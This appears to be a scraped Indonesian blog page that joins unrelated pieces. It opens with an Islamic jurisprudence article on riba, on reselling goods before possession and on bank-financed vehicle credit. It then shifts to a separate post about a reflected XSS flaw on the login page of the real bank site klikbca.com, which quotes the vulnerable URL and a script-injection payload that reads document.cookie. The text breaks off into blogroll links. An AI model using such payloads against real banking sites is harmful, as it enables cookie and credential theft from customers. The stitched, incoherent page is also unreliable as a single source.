Larangan di atas memiliki dasar dari sabda Rasulullah shallallahu ‘alaihi wa sallam dalam hadits yang dibawakan oleh Bukhari dan Muslim. Bukhari membawakan hadits tersebut dalam Bab:

باب بيع الطعام قبل أن يقبض وبيع ما ليس عندك

“Menjual bahan makanan sebelum diserahterimakan dan menjual barang yang bukan miliknya.”

Sedangkan An Nawawi dalam Shahih Muslim membawakan judul Bab,

بُطْلاَنِ بَيْعِ الْمَبِيعِ قَبْلَ الْقَبْضِ

“Batalnya jual barang yang belum selesai diserahterimakan.”

Hadits yang menjelaskan hal tersebut adalah:

[Hadits Pertama]

Dari Ibnu ‘Abbas, Rasulullah shallallahu ‘alaihi wa sallam bersabda,

مَنِ ابْتَاعَ طَعَامًا فَلاَ يَبِعْهُ حَتَّى يَسْتَوْفِيَهُ

“Barangsiapa yang membeli bahan makanan, maka janganlah ia menjualnya kembali hingga ia selesai menerimanya.”

Ibnu ‘Abbas mengatakan,

وَأَحْسِبُ كُلَّ شَىْءٍ مِثْلَهُ

“Aku berpendapat bahwa segala sesuatu hukumnya sama dengan bahan makanan.” (HR. Bukhari dan Muslim)

[Hadits Kedua]

Dari Nafi’, dari ‘Abdullah bin ‘Umar, Rasulullah shallallahu ‘alaihi wa sallam bersabda,

مَنِ اشْتَرَى طَعَامًا فَلاَ يَبِعْهُ حَتَّى يَسْتَوْفِيَهُ وَيَقْبِضَهُ

“Barangsiapa membeli bahan makanan, maka janganlah dia menjualnya hingga menyempurnakannya dan selesai menerimanya.” (HR. Muslim)

[Hadits Ketiga]

Ibnu ‘Umar mengatakan,

وَكُنَّا نَشْتَرِى الطَّعَامَ مِنَ الرُّكْبَانِ جِزَافًا فَنَهَانَا رَسُولُ اللَّهِ -صلى الله عليه وسلم- أَنْ نَبِيعَهُ حَتَّى نَنْقُلَهُ مِنْ مَكَانِهِ.

“Kami biasa membeli bahan makanan dari orang yang berkendaraan tanpa diketahui ukurannya. Kemudian Rasulullah shallallahu ‘alaihi wa sallam melarang kami menjual barang tersebut sampai barang tersebut dipindahkan dari tempatnya.” (HR. Muslim)

Dalam riwayat lain, Ibnu ‘Umar juga mengatakan,

كُنَّا فِى زَمَانِ رَسُولِ اللَّهِ -صلى الله عليه وسلم- نَبْتَاعُ الطَّعَامَ فَيَبْعَثُ عَلَيْنَا مَنْ يَأْمُرُنَا بِانْتِقَالِهِ مِنَ الْمَكَانِ الَّذِى ابْتَعْنَاهُ فِيهِ إِلَى مَكَانٍ سِوَاهُ قَبْلَ أَنْ نَبِيعَهُ.

“Kami dahulu di zaman Rasulullah shallallahu ‘alaihi wa sallam membeli bahan makanan. Lalu seseorang diutus pada kami. Dia disuruh untuk memerintahkan kami agar memindahkan bahan makanan yang sudah dibeli tadi ke tempat yang lain, sebelum kami menjualnya kembali.” (HR. Muslim)

Dari hadits-hadits di atas menunjukkan beberapa hal:

1. Terlarangnya menjual barang yang belum selesai diserahterimakan.
2. Larangan menjual barang yang belum selesai diserahterimakan ini berlaku bagi bahan makanan dan barang lainnya, sebagaimana dikatakan oleh Ibnu ‘Abbas di atas.
3. Barang yang sudah dibeli harus berpindah tempat terlebih dahulu sebelum dijual kembali kepada pihak lain.

An Nawawi mengatakan,

“Dalam hadits-hadits di atas terdapat larangan untuk menjual barang hingga barang tersebut telah diterima oleh pembeli. Dan para ulama memang berselisih pendapat dalam masalah ini. Imam Asy Syafi’i mengatakan bahwa menjual kembali barang kepada pihak lain sebelum diterima oleh pembeli adalah jual beli yang tidak sah baik barang tersebut berupa makanan, aktiva tetap (seperti tanah), barang yang bisa berpindah tempat, dijual secara tunai ataupun yang lainnya.” (Syarh Muslim, 169-170)

Apa hikmah di balik larangan ini?

Hal ini diterangkan dalam hadits lain. Dari Thowus, Ibnu ‘Abbas mengatakan,

أن رسول الله صلى الله عليه و سلم نهى أن يبيع الرجل طعاما حتى يستوفيه . قلت لابن عباس كيف ذاك ؟ . قال ذاك دراهم بدراهم والطعام مرجأ

“Rasulullah shallahu ‘alaihi wa sallam melarang jual beli bahan makanan hingga barang tersebut telah diserahterimakan.”

Thowus mengatakan kepada Ibnu ‘Abbas, “Kenapa bisa demikian?”

Beliau pun mengatakan, “Sebenarnya yang terjadi adalah jual beli dirham dengan dirham, sedangkan bahan makanannya ditunda.” (HR. Bukhari) [Bukhari: 39-Kitabul Buyu’, 54-Bab Masalah Jual Beli Bahan Makanan dan Barang yang Ditimbun]

Hikmah lainnya adalah karena barang yang diserahterimakan kepada pembeli boleh jadi rusak. Hal ini disebabkan barang tersebut terbakar, rusak terkena air, atau mungkin karena sebab lainnya. Sehingga jika pembeli barang tersebut menjual kembali barang tadi kepada pihak lain, ia tidak dapat menyerahkannya.
Sekali Lagi Tentang Riba dalam Hutang Piutang (Riba Qordh)

Perlu diketahui bahwa yang namanya hutang-piutang adalah salah satu jenis akad yang di dalamnya terdapat unsur menolong dan mengulurkan tangan kepada orang yang membutuhkan bantuan. Sehingga akad hutang-piutang semacam ini tidak diperbolehkan sama sekali bagi siapa pun untuk mencari keuntungan. Keuntungan yang diperoleh dari hasil hutang piutang seperti ini disebut riba yakni riba qordh.

Contoh riba qordh: Ahmad berhutang pada Rizki sejumlah Rp.1.000.000,-. Kemudian Ahmad harus mengembalikan hutang tersebut dengan jumlah lebih yaitu Rp.1.200.000,- dalam jangka waktu satu bulan. Tambahan Rp.200.000,- inilah yang disebut riba.

Para ulama memberi kaedah yang sangat masyhur dalam ilmu fiqih:

كُلُّ قَرْضٍ جَرَّ نَفْعًا فَهُوَ رِبَا

“Setiap piutang yang mendatangkan keuntungan, maka itu adalah riba.” (Lihat Asy Syarh Al Mumthi’, 8/63)

Perlu diketahui bahwa perbuatan menarik riba adalah perbuatan yang diharamkan dan suatu bentuk kezholiman. Kezholiman meniadakan keadilan yang Allah dan Rasul-Nya perintahkan. Allah Ta’ala berfirman,

فَإِن لَّمْ تَفْعَلُواْ فَأْذَنُواْ بِحَرْبٍ مِّنَ اللّهِ وَرَسُولِهِ وَإِن تُبْتُمْ فَلَكُمْ رُؤُوسُ أَمْوَالِكُمْ لاَ تَظْلِمُونَ وَلاَ تُظْلَمُونَ

“Maka jika kamu tidak mengerjakan (meninggalkan sisa riba), maka ketahuilah, bahwa Allah dan Rasul-Nya akan memerangimu. Dan jika kamu bertaubat (dari pengambilan riba), maka bagimu pokok hartamu; kamu tidak menganiaya dan tidak (pula) dianiaya.” (QS. Al Baqarah: 279)

Bagaimana jika ada yang mengatakan bahwa orang yang berhutang itu ridho (rela) jika dikenakan bunga atau riba? Ada dua sanggahan mengenai hal ini:

Pertama, ini sebenarnya masih tetap dikatakan suatu kezholiman karena di dalamnya terdapat pengambilan harta tanpa melalui jalur yang dibenarkan. Jika seseorang yang berhutang telah masuk masa jatuh tempo pelunasan dan belum mampu melunasi hutangnya, maka seharusnya orang yang menghutangi memberikan tenggang waktu lagi tanpa harus ada tambahan karena adanya penundaan. Jika orang yang menghutangi mengambil tambahan tersebut, ini berarti dia mengambil sesuatu tanpa melalui jalur yang dibenarkan. Jika orang yang berhutang tetap ridho menyerahkan tambahan tersebut, maka ridho mereka pada sesuatu yang syari’at ini tidak ridhoi tidak dibenarkan. Jadi, ridho dari orang yang berhutang tidaklah teranggap sama sekali.

Kedua, pada hakikat senyatanya, hal ini bukanlah ridho, namun semi pemaksaan. Orang yang menghutangi (creditor) sebenarnya takut jika orang yang berhutang tidak ikut dalam mu’amalah riba semacam ini. Ini adalah ridho, namun senyatanya bukan ridho. (Lihat penjelasan Syaikh ‘Abdurrahman bin Nashir As Sa’di –rahimahullah- dalam Fiqh wa Fatawa Al Buyu’, 10)

Hati-hatilah dengan riba karena orang yang memakan riba (rentenir) dan orang yang memberinya (nasabah), keduanya sama-sama dilaknat.

Dari Jabir bin ‘Abdillah, beliau berkata,

لَعَنَ رَسُولُ اللَّهِ -صلى الله عليه وسلم- آكِلَ الرِّبَا وَمُوكِلَهُ وَكَاتِبَهُ وَشَاهِدَيْهِ وَقَالَ هُمْ سَوَاءٌ

“Rasulullah shallallahu ‘alaihi wa sallam melaknat pemakan riba (rentenir), orang yang menyerahkan riba (nasabah), pencatat riba (sekretaris) dan dua orang saksinya.” Beliau mengatakan, “Mereka semua itu sama.”(HR. Muslim) [Muslim: 23-Kitab Al Masaqoh, 19-Bab Laknat pada Orang yang Memakan Riba dan yang Menyerahkannya].

Maksud perkataan “mereka semua itu sama”, Syaikh Shafiyurraahman Al Mubarakfury mengatakan, “Yaitu sama dalam dosa atau sama dalam beramal dengan yang haram. Walaupun mungkin bisa berbeda dosa mereka atau masing-masing dari mereka dari yang lainnya.” (Minnatul Mun’im fi Syarhi Shohihil Muslim, 3/64)

Jadi bukan hanya rentenir saja yang mendapatkan laknat dan dosa, namun orang yang menyerahkan riba (yaitu nasabah) juga terlaknat berdasarkan hadits di atas. Nas-alullaha al ‘afwa wal ‘afiyah.
Perkreditan Melalui Pihak Ketiga

Setelah kita mengetahui dua pembahasan di atas, yakni masalah jual beli barang sebelum dipindahkan dan praktek riba dalam hutang-piutang, maka kita akan meninjau praktek perkreditan mobil, motor ataupun rumah yang saat ini terjadi. Gambarannya adalah sebagai berikut:

Sebuah dealer menjual motor kepada Ahmad dengan cara kredit. Namun, Ahmad harus membayar cicilan kredit tersebut ke bank atau PT. Perkreditan dan bukan dibayar ke dealer, tempat ia membeli barang tersebut.

Kalau kita mau bertanya, kenapa Ahmad harus membayar cicilan tersebut ke bank bukan ke dealer yang menjualkan motor padanya?

Jawabannya:

Bank ternyata telah mengadakan kesepakatan bisnis dengan dealer tersebut yang intinya: Bila ada pembeli yang membeli dengan cara kredit, maka pihak banklah yang akan membayar secara cash kepada dealer. Sedangkan pembeli diharuskan membayarkan cicilan kepada bank tadi. Dealer mendapatkan keuntungan karena dia mendapatkan uang cash langsung. Sedangkan bank mendapatkan keuntungan karena dia menjual barang tersebut dengan harga lebih tinggi, namun dengan cara kredit. Seandainya pembeli itu ngotot untuk membayar kepada dealer, maka pihak dealer akan berkeberatan. Pihak dealer menganggap urusannya dengan pembeli telah selesai, sekarang tinggal urusan pembeli dengan bank.

Jika kita melihat, kejadian di atas memiliki dua penafsiran. Masing-masing penafsiran akan jelas menunjukkan kesalahan, yaitu terjatuh dalam riba atau dalam jual beli barang yang belum dipindahkan (diserahterimakan).

Penafsiran pertama:

Misalnya kita anggap kalau harga motor adalah Rp. 15.000.000,- secara cash. Sedangkan secara kredit adalah Rp. 18.000.000,-. Jadi, kemungkinan yang terjadi, bank telah menghutangi pembeli motor sejumlah Rp.15.000.000,- dan dalam waktu yang sama bank langsung membayarkannya ke dealer, tempat pembelian motor. Kemudian bank akhirnya menuntut pembeli ini untuk membayar piutang tersebut sejumlah Rp.18.000.000,-.. Bagaimana dengan akad semacam ini?

Ini adalah akad riba karena bank menghutangi Rp.15.000.000,-, kemudian minta untuk dikembalikan lebih banyak sejumlah Rp.18.000.000,-. Ini jelas-jelas adalah riba. Hukumnya sebagaimana disebutkan dalam hadits yang telah lewat, “Rasulullah shallallahu ‘alaihi wa sallam melaknat pemakan riba (rentenir), orang yang menyerahkan riba (nasabah), pencatat riba (sekretaris) dan dua orang saksinya.” Beliau mengatakan, “Mereka semua itu sama.”(HR. Muslim)

Penafsiran kedua:

Bank telah membeli motor tersebut dari dealer dan menjualnya kembali kepada pembeli. Jika memang penafsirannya seperti ini, maka ini berarti bank telah menjual motor yang ia beli sebelum ia pindahkan dari tempat penjual (dealer) dan ini berarti bank telah menjual barang yang belum sah ia miliki atau belum ia terima. Di antara bukti hal ini adalah surat menyurat motor semuanya ditulis dengan nama pembeli dan bukan atas nama bank. Penafsiran kedua ini sama dengan penafsiran Ibnu ‘Abbas yang pernah kami sebutkan,

ذاك دراهم بدراهم والطعام مرجأ

“Sebenarnya yang terjadi adalah jual beli dirham dengan dirham, sedangkan bahan makanannya ditunda.” (HR. Bukhari)

Jadi, yang terjadi adalah jual beli rupiah dengan rupiah, sedangkan motornya ditunda. Dengan demikian penjualan dengan cara seperti ini tidak sah karena termasuk menjual barang yang belum selesai diserahterimakan.

Kesimpulan: Perkreditan dengan cara ini adalah salah satu bentuk akad jual beli yang haram, baik dengan penafsiran pertama atau pun kedua tadi. Wallahu a’lam.

Alangkah baiknya jika kita sebagai seorang muslim tidak melakukan praktek jual-beli semacam ini. Lebih baik kita membeli barang secara cash atau meminjam uang dari orang lain (yang lebih amanah, tanpa ada unsur riba) dan kita berusaha mengembalikan tepat waktu. Itu mungkin jalan keluar terbaik.

Saudaraku, cukup nasehat Nabi shallallahu ‘alaihi wa sallam berikut sebagai wejangan bagi kita semua.

إِنَّكَ لَنْ تَدَعَ شَيْئاً لِلَّهِ عَزَّ وَجَلَّ إِلاَّ بَدَّلَكَ اللَّهُ بِهِ مَا هُوَ خَيْرٌ لَكَ مِنْهُ

“Sesungguhnya jika engkau meninggalkan sesuatu karena Allah, niscaya Allah akan memberi ganti padamu dengan yang lebih baik bagimu.” (HR. Ahmad. Syaikh Syu’aib Al Arnauth mengatakan bahwa sanad hadits ini shohih)

Semoga tulisan ini bermanfaat bagi pengusaha muslim sekalian. Semoga Allah selalu memberikan kita ketakwaan dan memberi kita taufik untuk menjauhkan diri dari yang haram.

Alhamdulillahilladzi bi ni’matihi tatimmush sholihaat. Wa shallallahu ‘ala Nabiyyina Muhammad wa ‘ala alihi wa shohbihi wa sallam.

****

18 Rabi’ul Awwal 1430 H

Yang selalu mengharapkan ampunan dan rahmat Allah

Al Faqir Ilallah: Muhammad Abduh Tuasikal

Artikel http://rumaysho.com

Hati-hati Pengguna BCA

Sudah baca majalah Underground Info ? Di majalah itu ada artikel yang ditulis oleh S’to tentang XSS di halaman login klikbca.com. Dalam tulisan ini saya bahas lebih jauh lagi dan saya berikan contoh exploit yang cukup berbahaya dari vulnerability yang ditemukan S’to di majalah tersebut.
Maaf artikel ini bukan XSS basics, tentang apa itu XSS nanti saya akan bahas di artikel khusus.

Sebenarnya XSS termasuk bug yang gawat dan susah diantisipasi, namun XSS juga bug yang paling sering diremehkan. Karena berbeda dengan bug lain seperti SQL Injection yang menyerang server, bug ini tidak berpengaruh sama sekali terhadap server. XSS hanya menyerang client, yaitu pengguna web application.

Mungkin mereka berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang tidak secara langsung, namun ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.

The Vulnerability

xss bug

Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.

URL ketika password kita salah adalah:

https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)

URL tersebut akan menghasilkan source html sebagai berikut:
<script>
var err=‘User ID harus Alpha Numerik/User ID must be Alpha Numeric’
alert(err);
iBankForm.action=‘login.jsp’;
iBankForm.submit();
script>

Perhatikan bahwa setelah var err ditutup dengan karakter kutip (’). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (’). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:

https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=TEST';alert(document.cookie); -

  • PULSA MURAH - PULSAGRAM TEMPAT NGISI PULSA MURAH SEKALIN BISNIS TERMURAH CEPAT G R A T I S
  • VISI DAN MISI - *VISI & MISI* *SD NEGERI JAKAPURWA 2* Dengan Imtak dan Iptek, SDN Jakapurwa 2 mengantarkan siswa menjadi generasi muda yang “*TANGGUH*” dan terunggul d...
  • Ini Apa Ya ? - Coba Tebak ini apa.....? Subhanallah
  • Pilihan Allah Pasti Terbaik, Kita Tidak Bisa Memaksa Pilihan Kita kepada Allah - Rumaysho.Com - Mengenal Ajaran Islam Lebih Dekat Kita tidak boleh memaksa Allah agar memenuhi pilihan kita. Tugas kita adalah pasrah dan tawakal pada apa...
  • Chating

    Apa Ya....?